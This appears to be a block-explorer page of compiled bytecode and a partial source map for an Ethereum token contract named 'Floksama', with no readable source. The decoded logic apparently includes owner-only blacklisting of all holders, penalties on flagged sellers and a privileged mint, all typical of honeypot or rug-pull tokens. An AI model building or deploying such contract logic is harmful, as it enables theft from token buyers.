51146103ef578063493367081461040f57806349bd5a5e146104245780634a74bb02146104445780635c32460b1461046557600080fd5b806323b872dd1461037e5780632598cdb21461039e578063313ce567146103be5780633158952e146103da57600080fd5b80630ddcfe8e116101e25780630ddcfe8e146102d15780631694505e146102f157806318160ddd146103295780631d97b7cd14610348578063220f66961461035d57600080fd5b806306fdde031461021f578063095ea7b31461025f5780630a702e8d1461028f5780630b78f9c0146102af57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506040805180820182526008815267466c6f6b73616d6160c01b602082015290516102569190611bdb565b60405180910390f35b34801561026b57600080fd5b5061027f61027a366004611c3e565b6106b3565b6040519015158152602001610256565b34801561029b57600080fd5b5060105461027f9062010000900460ff1681565b3480156102bb57600080fd5b506102cf6102ca366004611c6a565b6106ca565b005b3480156102dd57600080fd5b506102cf6102ec366004611c8c565b610709565b3480156102fd57600080fd5b50601254610311906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561033557600080fd5b506001545b604051908152602001610256565b34801561035457600080fd5b506102cf610787565b34801561036957600080fd5b5060135461027f90600160a01b900460ff1681565b34801561038a57600080fd5b5061027f610399366004611ca9565b6107cd565b3480156103aa57600080fd5b50600754610311906001600160a01b031681565b3480156103ca57600080fd5b5060405160098152602001610256565b3480156103e657600080fd5b506102cf610836565b3480156103fb57600080fd5b5061027f61040a366004611c3e565b6108d4565b34801561041b57600080fd5b506102cf61090a565b34801561043057600080fd5b50601354610311906001600160a01b031681565b34801561045057600080fd5b5060135461027f90600160a81b900460ff1681565b34801561047157600080fd5b5061027f610480366004611c8c565b6001600160a01b03166000908152600e602052604090205460ff1690565b3480156104aa57600080fd5b506102cf610941565b3480156104bf57600080fd5b5061033a6104ce366004611c8c565b6001600160a01b031660009081526009602052604090205490565b3480156104f557600080fd5b506102cf61097c565b34801561050a57600080fd5b506102cf610519366004611cea565b6109c6565b34801561052a57600080fd5b5061033a60055481565b34801561054057600080fd5b5061033a60045481565b34801561055657600080fd5b5061033a60025481565b34801561056c57600080fd5b506000546001600160a01b0316610311565b34801561058a57600080fd5b506102cf610599366004611d0c565b610a11565b3480156105aa57600080fd5b5061027f6105b9366004611c3e565b610ad4565b3480156105ca57600080fd5b5060105461027f9060ff1681565b3480156105e457600080fd5b5061027f6105f3366004611c3e565b610b23565b34801561060457600080fd5b50600654610311906001600160a01b031681565b34801561062457600080fd5b5060105461027f90610100900460ff1681565b34801561064357600080fd5b5061033a60035481565b34801561065957600080fd5b5061033a610668366004611d3c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561069f57600080fd5b506102cf6106ae366004611d6a565b610b30565b60006106c0338484610b64565b5060015b92915050565b6106d333610480565b6106fe5760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b600291909155600355565b6000546001600160a01b031633146107635760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b61079033610480565b6107b65760405162461bcd60e51b815260206004820152600060248201526044016106f5565b6010805462ffffff19166201010117905542601155565b60006107da848484610c25565b61082c843361082785604051806060016040528060288152602001611f03602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611478565b610b64565b5060019392505050565b61083f33610480565b6108655760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60005b600f548110156108d1576001600d6000600f848154811061088b5761088b611d83565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806108c981611daf565b915050610868565b50565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106c091859061082790866114a4565b61091333610480565b6109395760405162461bcd60e51b815260206004820152600060248201526044016106f5565b600554600455565b61094a33610480565b6109705760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60006002819055600355565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6109cf33610480565b6109f55760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60108054911515620100000262ff000019909216919091179055565b610a1a33610480565b610a405760405162461bcd60e51b815260206004820152600060248201526044016106f5565b6008546001600160a01b03828116911614610a5a57600080fd5b8160016000828254610a6c9190611dc8565b90915550506001600160a01b03811660009081526009602052604081208054849290610a99908490611dc8565b90915550506008546040518381526001600160a01b03838116921690600080516020611f2b8339815191529060200160405180910390a35050565b60006106c0338461082785604051806060016040528060258152602001611f4b60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611478565b60006106c0338484610c25565b610b3933610480565b610b5f5760405162461bcd60e51b815260206004820152600060248201526044016106f5565b600555565b6001600160a01b03831615801590610b8457506001600160a01b03821615155b610bc45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016106f5565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c5157506007546001600160a01b03838116911614155b8015610c6b57506006546001600160a01b03838116911614155b8015610c8057506001600160a01b0382163014155b8015610c9a57506013546001600160a01b03838116911614155b8015610cb157506001600160a01b03821661dead14155b8015610ccb57506000546001600160a01b03848116911614155b8015610cf057506001600160a01b0383166000908152600e602052604090205460ff16155b8015610d1557506001600160a01b0382166000908152600e602052604090205460ff16155b15610dd0576001600160a01b038216600090815260096020526040902054600554610d408383611dc8565b1115610dce5760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a4016106f5565b505b6000546001600160a01b03848116911614801590610dfc57506000546001600160a01b03838116911614155b8015610e2157506001600160a01b0383166000908152600e602052604090205460ff16155b8015610e4657506001600160a01b0382166000908152600e602052604090205460ff16155b15610ec357600454811115610ec35760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e00000000000060648201526084016106f5565b6001600160a01b03831615801590610ee357506001600160a01b03821615155b610f275760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016106f5565b60008111610f855760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016106f5565b601054610100900460ff16611018576001600160a01b0383166000908152600b602052604090205460ff1680610fd357506001600160a01b0382166000908152600b602052604090205460ff165b6110185760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b4260115460036110289190611dc8565b11611038576010805460ff191690555b4260115460046110489190611dc8565b1161105a576010805462ff0000191690555b60105462010000900460ff1615801561108c57506001600160a01b0383166000908152600b602052604090205460ff16155b156110b7576001600160a01b0383166000908152600d602052604090205460ff16156110b757600080fd5b60105462010000900460ff1680156110dd57504260115460056110da9190611dc8565b11155b156110ea576110ea6114bc565b60105460ff16801561110a57506013546001600160a01b03838116911614155b801561111b575064012a05f2003a10155b15611144576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6000546001600160a01b0384811691161480159061117057506013546001600160a01b03848116911614155b801561119557506001600160a01b0383166000908152600c602052604090205460ff16155b15611200576001600160a01b0383166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061122c57506013546001600160a01b03838116911614155b801561125157506001600160a01b0382166000908152600c602052604090205460ff16155b156112bc576001600160a01b0382166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b038381169116148015906112e857506013546001600160a01b03838116911614155b15611332576001600160a01b0383166000908152600b602052604090205460ff1615611332576001600160a01b0382166000908152600b60205260409020805460ff191660011790555b600054600a600160a01b90910460ff161080159061135a5750601354600160a01b900460ff16155b801561137457506013546001600160a01b03848116911614155b80156113895750601354600160a81b900460ff165b156113c557306000908152600960205260409020546004548111156113ad57506004545b6000805460ff60a01b191690556113c381611528565b505b6001600160a01b0383166000908152600b60205260408120546001919060ff168061140857506001600160a01b0384166000908152600b602052604090205460ff165b156114165760009150611464565b6013546001600160a01b0390811690861603611430575060015b60008054600160a01b900460ff1690601461144a83611ddb565b91906101000a81548160ff021916908360ff160217905550505b611471858585858561169c565b5050505050565b6000818484111561149c5760405162461bcd60e51b81526004016106f59190611bdb565b505050900390565b60006114b08284611dc8565b9392505050565b505050565b60005b600f548110156108d1576001600d6000600f84815481106114e2576114e2611d83565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061152081611daf565b9150506114bf565b6013805460ff60a01b1916600160a01b1790556000606461154a836037611dfa565b6115549190611e11565b90506000606461156584602c611dfa565b61156f9190611e11565b9050600061157e60c885611e11565b90504761159e8361158f8685611dc8565b6115999190611dc8565b6119a0565b60006115aa8247611e33565b9050600060646115bb836037611dfa565b6115c59190611e11565b9050600060646115d684602c611dfa565b6115e09190611e11565b905061160085826115f18587611e33565b6115fb9190611e33565b611afa565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858261162d8587611e33565b6116379190611e33565b604080519283526020830191909152810187905260600160405180910390a160075461166c906001600160a01b031683611ba5565b600654479350611685906001600160a01b031684611ba5565b50506013805460ff60a01b19169055505050505050565b81611744576001600160a01b0385166000908152600960205260409020546116c5908490611e33565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546116f5908490611dc8565b6001600160a01b038086166000818152600960205260409081902093909355915190871690600080516020611f2b833981519152906117379087815260200190565b60405180910390a3611471565b801561184357600060646002548561175c9190611dfa565b6117669190611e11565b905060006117748286611e33565b6001600160a01b03881660009081526009602052604090205490915061179b908690611e33565b6001600160a01b0380891660009081526009602052604080822093909355908816815220546117cb908290611dc8565b6001600160a01b0387166000908152600960205260408082209290925530815220546117f8908390611dc8565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f2b833981519152910160405180910390a35050611471565b6001600160a01b0385166000908152600d602052604081205460ff161561189057600354606490611875600987611dfa565b61187f9190611dfa565b6118899190611e11565b90506118c3565b6013546001600160a01b03908116908616036118c3576064600354856118b69190611dfa565b6118c09190611e11565b90505b60006118cf8286611e33565b6001600160a01b0388166000908152600960205260409020549091506118f6908690611e33565b6001600160a01b038089166000908152600960205260408082209390935590881681522054611926908290611dc8565b6001600160a01b038716600090815260096020526040808220929092553081522054611953908390611dc8565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f2b833981519152910160405180910390a350505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119d5576119d5611d83565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a529190611e46565b81600181518110611a6557611a65611d83565b6001600160a01b039283166020918202929092010152601254611a8b9130911684610b64565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ac4908590600090869030904290600401611e63565b600060405180830381600087803b158015611ade57600080fd5b505af1158015611af2573d6000803e3d6000fd5b505050505050565b601254611b129030906001600160a01b031684610b64565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611b80573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114719190611ed4565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114b7573d6000803e3d6000fd5b600060208083528351808285015260005b81811015611c0857858101830151858201604001528201611bec565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108d157600080fd5b60008060408385031215611c5157600080fd5b8235611c5c81611c29565b946020939093013593505050565b60008060408385031215611c7d57600080fd5b50508035926020909101359150565b600060208284031215611c9e57600080fd5b81356114b081611c29565b600080600060608486031215611cbe57600080fd5b8335611cc981611c29565b92506020840135611cd981611c29565b929592945050506040919091013590565b600060208284031215611cfc57600080fd5b813580151581146114b057600080fd5b60008060408385031215611d1f57600080fd5b823591506020830135611d3181611c29565b809150509250929050565b60008060408385031215611d4f57600080fd5b8235611d5a81611c29565b91506020830135611d3181611c29565b600060208284031215611d7c57600080fd5b5035919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dc157611dc1611d99565b5060010190565b808201808211156106c4576106c4611d99565b600060ff821660ff8103611df157611df1611d99565b60010192915050565b80820281158282048414176106c4576106c4611d99565b600082611e2e57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106c4576106c4611d99565b600060208284031215611e5857600080fd5b81516114b081611c29565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb35784516001600160a01b031683529383019391830191600101611e8e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ee957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220767ac749de324e3a86363222cf6253c37c6800d6fca0f42e5ea9084b88ed197864736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df146105f8578063bbc0c74214610618578063cebb162214610637578063dd62ed3e1461064d578063e55fc9c71461069357600080fd5b8063a06881601461057e578063a457c2d71461059e578063a5edb92e146105be578063a9059cbb146105d857600080fd5b806378109e54116100e757806378109e541461051e5780637d1db4a5146105345780637ed4ce421461054a5780638da5cb5b1461056057806395d89b411461021f57600080fd5b80636b130f9a1461049e57806370a08231146104b3578063715018a6146104e957806377c325d6146104fe57600080fd5b806323b872dd1161019b578063395093511161016a57806339509351146103ef578063493367081461040f57806349bd5a5e146104245780634a74bb02146104445780635c32460b1461046557600080fd5b806323b872dd1461037e5780632598cdb21461039e578063313ce567146103be5780633158952e146103da57600080fd5b80630ddcfe8e116101e25780630ddcfe8e146102d15780631694505e146102f157806318160ddd146103295780631d97b7cd14610348578063220f66961461035d57600080fd5b806306fdde031461021f578063095ea7b31461025f5780630a702e8d1461028f5780630b78f9c0146102af57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506040805180820182526008815267466c6f6b73616d6160c01b602082015290516102569190611bdb565b60405180910390f35b34801561026b57600080fd5b5061027f61027a366004611c3e565b6106b3565b6040519015158152602001610256565b34801561029b57600080fd5b5060105461027f9062010000900460ff1681565b3480156102bb57600080fd5b506102cf6102ca366004611c6a565b6106ca565b005b3480156102dd57600080fd5b506102cf6102ec366004611c8c565b610709565b3480156102fd57600080fd5b50601254610311906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561033557600080fd5b506001545b604051908152602001610256565b34801561035457600080fd5b506102cf610787565b34801561036957600080fd5b5060135461027f90600160a01b900460ff1681565b34801561038a57600080fd5b5061027f610399366004611ca9565b6107cd565b3480156103aa57600080fd5b50600754610311906001600160a01b031681565b3480156103ca57600080fd5b5060405160098152602001610256565b3480156103e657600080fd5b506102cf610836565b3480156103fb57600080fd5b5061027f61040a366004611c3e565b6108d4565b34801561041b57600080fd5b506102cf61090a565b34801561043057600080fd5b50601354610311906001600160a01b031681565b34801561045057600080fd5b5060135461027f90600160a81b900460ff1681565b34801561047157600080fd5b5061027f610480366004611c8c565b6001600160a01b03166000908152600e602052604090205460ff1690565b3480156104aa57600080fd5b506102cf610941565b3480156104bf57600080fd5b5061033a6104ce366004611c8c565b6001600160a01b031660009081526009602052604090205490565b3480156104f557600080fd5b506102cf61097c565b34801561050a57600080fd5b506102cf610519366004611cea565b6109c6565b34801561052a57600080fd5b5061033a60055481565b34801561054057600080fd5b5061033a60045481565b34801561055657600080fd5b5061033a60025481565b34801561056c57600080fd5b506000546001600160a01b0316610311565b34801561058a57600080fd5b506102cf610599366004611d0c565b610a11565b3480156105aa57600080fd5b5061027f6105b9366004611c3e565b610ad4565b3480156105ca57600080fd5b5060105461027f9060ff1681565b3480156105e457600080fd5b5061027f6105f3366004611c3e565b610b23565b34801561060457600080fd5b50600654610311906001600160a01b031681565b34801561062457600080fd5b5060105461027f90610100900460ff1681565b34801561064357600080fd5b5061033a60035481565b34801561065957600080fd5b5061033a610668366004611d3c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561069f57600080fd5b506102cf6106ae366004611d6a565b610b30565b60006106c0338484610b64565b5060015b92915050565b6106d333610480565b6106fe5760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b600291909155600355565b6000546001600160a01b031633146107635760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b61079033610480565b6107b65760405162461bcd60e51b815260206004820152600060248201526044016106f5565b6010805462ffffff19166201010117905542601155565b60006107da848484610c25565b61082c843361082785604051806060016040528060288152602001611f03602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611478565b610b64565b5060019392505050565b61083f33610480565b6108655760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60005b600f548110156108d1576001600d6000600f848154811061088b5761088b611d83565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806108c981611daf565b915050610868565b50565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106c091859061082790866114a4565b61091333610480565b6109395760405162461bcd60e51b815260206004820152600060248201526044016106f5565b600554600455565b61094a33610480565b6109705760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60006002819055600355565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6109cf33610480565b6109f55760405162461bcd60e51b815260206004820152600060248201526044016106f5565b60108054911515620100000262ff000019909216919091179055565b610a1a33610480565b610a405760405162461bcd60e51b815260206004820152600060248201526044016106f5565b6008546001600160a01b03828116911614610a5a57600080fd5b8160016000828254610a6c9190611dc8565b90915550506001600160a01b03811660009081526009602052604081208054849290610a99908490611dc8565b90915550506008546040518381526001600160a01b03838116921690600080516020611f2b8339815191529060200160405180910390a35050565b60006106c0338461082785604051806060016040528060258152602001611f4b60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611478565b60006106c0338484610c25565b610b3933610480565b610b5f5760405162461bcd60e51b815260206004820152600060248201526044016106f5565b600555565b6001600160a01b03831615801590610b8457506001600160a01b03821615155b610bc45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016106f5565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c5157506007546001600160a01b03838116911614155b8015610c6b57506006546001600160a01b03838116911614155b8015610c8057506001600160a01b0382163014155b8015610c9a57506013546001600160a01b03838116911614155b8015610cb157506001600160a01b03821661dead14155b8015610ccb57506000546001600160a01b03848116911614155b8015610cf057506001600160a01b0383166000908152600e602052604090205460ff16155b8015610d1557506001600160a01b0382166000908152600e602052604090205460ff16155b15610dd0576001600160a01b038216600090815260096020526040902054600554610d408383611dc8565b1115610dce5760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a4016106f5565b505b6000546001600160a01b03848116911614801590610dfc57506000546001600160a01b03838116911614155b8015610e2157506001600160a01b0383166000908152600e602052604090205460ff16155b8015610e4657506001600160a01b0382166000908152600e602052604090205460ff16155b15610ec357600454811115610ec35760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e00000000000060648201526084016106f5565b6001600160a01b03831615801590610ee357506001600160a01b03821615155b610f275760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016106f5565b60008111610f855760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016106f5565b601054610100900460ff16611018576001600160a01b0383166000908152600b602052604090205460ff1680610fd357506001600160a01b0382166000908152600b602052604090205460ff165b6110185760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b4260115460036110289190611dc8565b11611038576010805460ff191690555b4260115460046110489190611dc8565b1161105a576010805462ff0000191690555b60105462010000900460ff1615801561108c57506001600160a01b0383166000908152600b602052604090205460ff16155b156110b7576001600160a01b0383166000908152600d602052604090205460ff16156110b757600080fd5b60105462010000900460ff1680156110dd57504260115460056110da9190611dc8565b11155b156110ea576110ea6114bc565b60105460ff16801561110a57506013546001600160a01b03838116911614155b801561111b575064012a05f2003a10155b15611144576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6000546001600160a01b0384811691161480159061117057506013546001600160a01b03848116911614155b801561119557506001600160a01b0383166000908152600c602052604090205460ff16155b15611200576001600160a01b0383166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061122c57506013546001600160a01b03838116911614155b801561125157506001600160a01b0382166000908152600c602052604090205460ff16155b156112bc576001600160a01b0382166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b038381169116148015906112e857506013546001600160a01b03838116911614155b15611332576001600160a01b0383166000908152600b602052604090205460ff1615611332576001600160a01b0382166000908152600b60205260409020805460ff191660011790555b600054600a600160a01b90910460ff161080159061135a5750601354600160a01b900460ff16155b801561137457506013546001600160a01b03848116911614155b80156113895750601354600160a81b900460ff165b156113c557306000908152600960205260409020546004548111156113ad57506004545b6000805460ff60a01b191690556113c381611528565b505b6001600160a01b0383166000908152600b60205260408120546001919060ff168061140857506001600160a01b0384166000908152600b602052604090205460ff165b156114165760009150611464565b6013546001600160a01b0390811690861603611430575060015b60008054600160a01b900460ff1690601461144a83611ddb565b91906101000a81548160ff021916908360ff160217905550505b611471858585858561169c565b5050505050565b6000818484111561149c5760405162461bcd60e51b81526004016106f59190611bdb565b505050900390565b60006114b08284611dc8565b9392505050565b505050565b60005b600f548110156108d1576001600d6000600f84815481106114e2576114e2611d83565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061152081611daf565b9150506114bf565b6013805460ff60a01b1916600160a01b1790556000606461154a836037611dfa565b6115549190611e11565b90506000606461156584602c611dfa565b61156f9190611e11565b9050600061157e60c885611e11565b90504761159e8361158f8685611dc8565b6115999190611dc8565b6119a0565b60006115aa8247611e33565b9050600060646115bb836037611dfa565b6115c59190611e11565b9050600060646115d684602c611dfa565b6115e09190611e11565b905061160085826115f18587611e33565b6115fb9190611e33565b611afa565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858261162d8587611e33565b6116379190611e33565b604080519283526020830191909152810187905260600160405180910390a160075461166c906001600160a01b031683611ba5565b600654479350611685906001600160a01b031684611ba5565b50506013805460ff60a01b19169055505050505050565b81611744576001600160a01b0385166000908152600960205260409020546116c5908490611e33565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546116f5908490611dc8565b6001600160a01b038086166000818152600960205260409081902093909355915190871690600080516020611f2b833981519152906117379087815260200190565b60405180910390a3611471565b801561184357600060646002548561175c9190611dfa565b6117669190611e11565b905060006117748286611e33565b6001600160a01b03881660009081526009602052604090205490915061179b908690611e33565b6001600160a01b0380891660009081526009602052604080822093909355908816815220546117cb908290611dc8565b6001600160a01b0387166000908152600960205260408082209290925530815220546117f8908390611dc8565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f2b833981519152910160405180910390a35050611471565b6001600160a01b0385166000908152600d602052604081205460ff161561189057600354606490611875600987611dfa565b61187f9190611dfa565b6118899190611e11565b90506118c3565b6013546001600160a01b03908116908616036118c3576064600354856118b69190611dfa565b6118c09190611e11565b90505b60006118cf8286611e33565b6001600160a01b0388166000908152600960205260409020549091506118f6908690611e33565b6001600160a01b038089166000908152600960205260408082209390935590881681522054611926908290611dc8565b6001600160a01b038716600090815260096020526040808220929092553081522054611953908390611dc8565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f2b833981519152910160405180910390a350505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119d5576119d5611d83565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a529190611e46565b81600181518110611a6557611a65611d83565b6001600160a01b039283166020918202929092010152601254611a8b9130911684610b64565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ac4908590600090869030904290600401611e63565b600060405180830381600087803b158015611ade57600080fd5b505af1158015611af2573d6000803e3d6000fd5b505050505050565b601254611b129030906001600160a01b031684610b64565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611b80573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114719190611ed4565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114b7573d6000803e3d6000fd5b600060208083528351808285015260005b81811015611c0857858101830151858201604001528201611bec565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108d157600080fd5b60008060408385031215611c5157600080fd5b8235611c5c81611c29565b946020939093013593505050565b60008060408385031215611c7d57600080fd5b50508035926020909101359150565b600060208284031215611c9e57600080fd5b81356114b081611c29565b600080600060608486031215611cbe57600080fd5b8335611cc981611c29565b92506020840135611cd981611c29565b929592945050506040919091013590565b600060208284031215611cfc57600080fd5b813580151581146114b057600080fd5b60008060408385031215611d1f57600080fd5b823591506020830135611d3181611c29565b809150509250929050565b60008060408385031215611d4f57600080fd5b8235611d5a81611c29565b91506020830135611d3181611c29565b600060208284031215611d7c57600080fd5b5035919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dc157611dc1611d99565b5060010190565b808201808211156106c4576106c4611d99565b600060ff821660ff8103611df157611df1611d99565b60010192915050565b80820281158282048414176106c4576106c4611d99565b600082611e2e57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106c4576106c4611d99565b600060208284031215611e5857600080fd5b81516114b081611c29565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eb35784516001600160a01b031683529383019391830191600101611e8e565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611ee957600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220767ac749de324e3a86363222cf6253c37c6800d6fca0f42e5ea9084b88ed197864736f6c63430008110033

Deployed Bytecode Sourcemap

13069:13214:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16676:83;;;;;;;;;;-1:-1:-1;16746:5:0;;;;;;;;;;;-1:-1:-1;;;16746:5:0;;;;16676:83;;;;16746:5;16676:83;:::i;:::-;;;;;;;;17505:161;;;;;;;;;;-1:-1:-1;17505:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17505:161:0;1023:187:1;14527:33:0;;;;;;;;;;-1:-1:-1;14527:33:0;;;;;;;;;;;19548:143;;;;;;;;;;-1:-1:-1;19548:143:0;;;;;:::i;:::-;;:::i;:::-;;15740:92;;;;;;;;;;-1:-1:-1;15740:92:0;;;;;:::i;:::-;;:::i;14612:41::-;;;;;;;;;;-1:-1:-1;14612:41:0;;;;-1:-1:-1;;;;;14612:41:0;;;;;;-1:-1:-1;;;;;1911:32:1;;;1893:51;;1881:2;1866:18;14612:41:0;1720:230:1;16947:95:0;;;;;;;;;;-1:-1:-1;17027:7:0;;16947:95;;;2101:25:1;;;2089:2;2074:18;16947:95:0;1955:177:1;19062:193:0;;;;;;;;;;;;;:::i;14695:28::-;;;;;;;;;;-1:-1:-1;14695:28:0;;;;-1:-1:-1;;;14695:28:0;;;;;;17672:313;;;;;;;;;;-1:-1:-1;17672:313:0;;;;;:::i;:::-;;:::i;13789:92::-;;;;;;;;;;-1:-1:-1;13789:92:0;;;